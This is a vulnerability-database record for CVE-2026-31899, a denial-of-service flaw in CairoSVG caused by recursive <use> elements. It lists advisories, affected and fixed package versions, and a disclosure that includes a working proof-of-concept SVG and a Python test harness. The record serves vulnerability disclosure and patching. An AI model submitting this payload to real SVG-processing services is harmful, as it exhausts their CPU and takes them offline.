{"id":"CVE-2026-31899","aliases":["ALPINE-CVE-2026-31899","DEBIAN-CVE-2026-31899","EUVD-2026-12091","GHSA-f38f-5xpm-9r7c","MGASA-2026-0104","PYSEC-2026-2122","ROOT-APP-PYPI-CVE-2026-31899","SUSE-SU-2026:1421-1","SUSE-SU-2026:22024-1","UBUNTU-CVE-2026-31899","openSUSE-SU-2026:10379-1","openSUSE-SU-2026:11729-1","openSUSE-SU-2026:20886-1"],"status":"published","title":"CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00556,"percentile":0.46836,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-400","CWE-674"],"published":"2026-03-13T18:57:31Z","modified":"2026-11-03T22:00:06Z","exploits":[{"source":"pocgithub","id":"SnailSploit/CVE-2026-31899","title":"SnailSploit/CVE-2026-31899","date":"2026-03-15","url":"https://github.com/SnailSploit/CVE-2026-31899"}],"fixes":[{"ecosystem":"PyPI","package":"cairosvg","fixed_in":["2.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"py3-cairosvg","fixed_in":["2.9.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"py3-cairosvg","fixed_in":["2.9.0-r0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"cairosvg","fixed_in":["2.9.0-1"],"sources":["osv"]},{"ecosystem":"Mageia:9","package":"python-cairosvg","fixed_in":["2.5.2-6.1.mga9"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"cairosvg","fixed_in":["2.7.1+aikido.4","2.7.1+aikido.5","2.7.1+aikido.3","2.7.1+aikido.6","2.7.1+aikido.7"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-CairoSVG","fixed_in":["2.7.1-150400.9.6.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"python-CairoSVG","fixed_in":["2.7.1-150400.9.6.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-CairoSVG","fixed_in":["2.7.1-160000.3.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-CairoSVG","fixed_in":["2.7.1-160000.3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-CairoSVG","fixed_in":["2.9.0-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"ansible-creator","fixed_in":["26.8.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.8.2"},{"fixed":"2.9.0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"py3-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0-r0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.2-1.1","2.5.2-1.1+deb12u1","2.7.0-1","2.7.1-1","2.7.1-2","2.8.2-1","2.9.0-1","2.9.0-2","2.9.1-1","2.9.1-2"]},{"source":"osv","ecosystem":"Debian:13","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7.1-2","2.8.2-1","2.9.0-1","2.9.0-2","2.9.1-1","2.9.1-2"]},{"source":"osv","ecosystem":"Debian:14","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0-1"}]}],"versions":["2.7.1-2","2.8.2-1"]},{"source":"osv","ecosystem":"PyPI","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.1","0.1.1","0.1.2","0.2","0.3","0.3.1","0.4","0.4.1","0.4.2","0.4.3","0.4.4","0.5","1.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.0rc1","2.0.0rc2","2.0.0rc3","2.0.0rc4","2.0.0rc5","2.0.0rc6","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.2.1","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.7.1","2.8.0","2.8.1","2.8.2"]},{"source":"osv","ecosystem":"Mageia:9","package":"python-cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2-6.1.mga9"}]}]},{"source":"osv","ecosystem":"PyPI","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.1","0.1.1","0.1.2","0.2","0.3","0.3.1","0.4","0.4.1","0.4.2","0.4.3","0.4.4","0.5","1.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.0rc1","2.0.0rc2","2.0.0rc3","2.0.0rc4","2.0.0rc5","2.0.0rc6","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.2.1","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.7.1","2.8.0","2.8.1","2.8.2"]},{"source":"osv","ecosystem":"Root:PyPI","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1+aikido.4"},{"fixed":"2.7.1+aikido.5"},{"fixed":"2.7.1+aikido.3"},{"fixed":"2.7.1+aikido.6"},{"fixed":"2.7.1+aikido.7"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1-150400.9.6.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1-150400.9.6.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1-160000.3.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1-160000.3.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.16-1","1.0.17-1","1.0.19-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.20-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.0-2","2.4.2-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1.1","2.5.2-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7.1-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7.1-1","2.7.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.8.2-1","2.9.0-1","2.9.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"cairosvg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7.1-2","2.8.2-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-CairoSVG","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"ansible-creator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.8.0-1.1"}]}]}],"products":[{"vendor":"courtbouillon","product":"cairosvg"},{"vendor":"kozea","product":"cairosvg"}],"references":[{"url":"https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/advisories/GHSA-f38f-5xpm-9r7c"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-31899","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31899.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31899","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-31899","tags":["advisory"]},{"url":"https://github.com/Kozea/CairoSVG","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0104.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=35370","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IBVXQHEZ24JPDMWUPRKDEZTECZLM3HVS/","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261421-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1259690","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-31899","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622024-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-31899","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-31899","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-31899","title":"CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:38:43.99Z","modified":"2026-03-16T13:39:14.684Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:19:51.277563Z"}],"euvd":[{"id":"EUVD-2026-12091","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:38:43Z","modified":"2026-03-16T13:39:14Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:34.563327Z"}],"ghsa":[{"id":"GHSA-f38f-5xpm-9r7c","title":"CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification","description":"## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `\u003cuse\u003e` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh — CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `\u003cuse\u003e` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cdefs\u003e\n    \u003cg id=\"a\"\u003e\u003crect width=\"1\" height=\"1\"/\u003e\u003c/g\u003e\n    \u003cg id=\"b\"\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003c/g\u003e\n    \u003cg id=\"c\"\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003c/g\u003e\n    \u003cg id=\"d\"\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003c/g\u003e\n    \u003cg id=\"e\"\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003c/g\u003e\n  \u003c/defs\u003e\n  \u003cuse xlink:href=\"#e\"/\u003e\n\u003c/svg\u003e\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI \u0026 Security Research","status":"published","published":"2026-03-13T18:57:31Z","modified":"2026-04-15T21:09:50Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:39:54.128054Z"}],"nvd":[{"id":"CVE-2026-31899","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:54:38.19Z","modified":"2026-06-17T10:34:43.337Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:12:09.358914Z"}],"osv":[{"id":"ALPINE-CVE-2026-31899","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:54:38.19Z","modified":"2026-11-03T06:33:02.204221864Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2026-31899","title":"CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:38:43.99Z","modified":"2026-10-28T02:30:43.895523524Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"DEBIAN-CVE-2026-31899","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:54:38.19Z","modified":"2026-11-03T22:00:06.449796911Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T22:59:30.419462Z"},{"id":"GHSA-f38f-5xpm-9r7c","title":"CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification","description":"## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `\u003cuse\u003e` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh — CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `\u003cuse\u003e` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cdefs\u003e\n    \u003cg id=\"a\"\u003e\u003crect width=\"1\" height=\"1\"/\u003e\u003c/g\u003e\n    \u003cg id=\"b\"\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003c/g\u003e\n    \u003cg id=\"c\"\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003c/g\u003e\n    \u003cg id=\"d\"\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003c/g\u003e\n    \u003cg id=\"e\"\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003c/g\u003e\n  \u003c/defs\u003e\n  \u003cuse xlink:href=\"#e\"/\u003e\n\u003c/svg\u003e\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI \u0026 Security Research","status":"published","published":"2026-03-13T18:57:31Z","modified":"2026-07-13T07:26:50.032778438Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"PYSEC-2026-2122","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:54:38.19Z","modified":"2026-07-13T07:15:15.810384298Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-31899","description":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive \u003cuse\u003e element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","status":"published","published":"2026-03-13T19:54:00Z","modified":"2026-10-17T12:58:09.037713098Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"MGASA-2026-0104","title":"Updated python-cairosvg packages fix security vulnerability","description":"CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element\namplification. (CVE-2026-31899)\n","status":"published","published":"2026-04-18T16:43:23Z","modified":"2026-04-18T16:45:20.736573Z","updated_at":"2026-11-02T15:49:43.178336Z"},{"id":"openSUSE-SU-2026:10379-1","title":"python311-CairoSVG-2.9.0-1.1 on GA media","description":"These are all security issues fixed in the python311-CairoSVG-2.9.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-17T00:00:00Z","modified":"2026-03-18T08:45:26.127946Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"openSUSE-SU-2026:11729-1","title":"ansible-creator-26.8.0-1.1 on GA media","description":"These are all security issues fixed in the ansible-creator-26.8.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-09T00:00:00Z","modified":"2026-09-10T18:24:10.607912066Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:20886-1","title":"Security update for python-CairoSVG","description":"This update for python-CairoSVG fixes the following issue:\n\n- CVE-2026-31899: denial of service via recursive \u003cuse\u003e element amplification (bsc#1259690).\n","status":"published","published":"2026-06-02T22:55:57Z","modified":"2026-06-04T09:00:08.809033424Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-31899","title":"CVE-2026-31899 in cairosvg - Patched by Root","description":"Root has patched CVE-2026-31899 in the cairosvg package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-10-20T13:53:49Z","modified":"2026-10-20T14:15:03.172227858Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"SUSE-SU-2026:1421-1","title":"Security update for python-CairoSVG","description":"This update for python-CairoSVG fixes the following issue:\n\n- CVE-2026-31899: denial of service via recursive \u003cuse\u003e element amplification (bsc#1259690).\n","status":"published","published":"2026-04-17T06:46:43Z","modified":"2026-04-18T08:00:39.83993Z","updated_at":"2026-11-02T15:54:01.262144Z"},{"id":"SUSE-SU-2026:22024-1","title":"Security update for python-CairoSVG","description":"This update for python-CairoSVG fixes the following issue:\n\n- CVE-2026-31899: denial of service via recursive \u003cuse\u003e element amplification (bsc#1259690).\n","status":"published","published":"2026-06-02T22:57:42Z","modified":"2026-06-09T18:24:20.638888417Z","updated_at":"2026-11-02T15:54:02.654057Z"}]}}
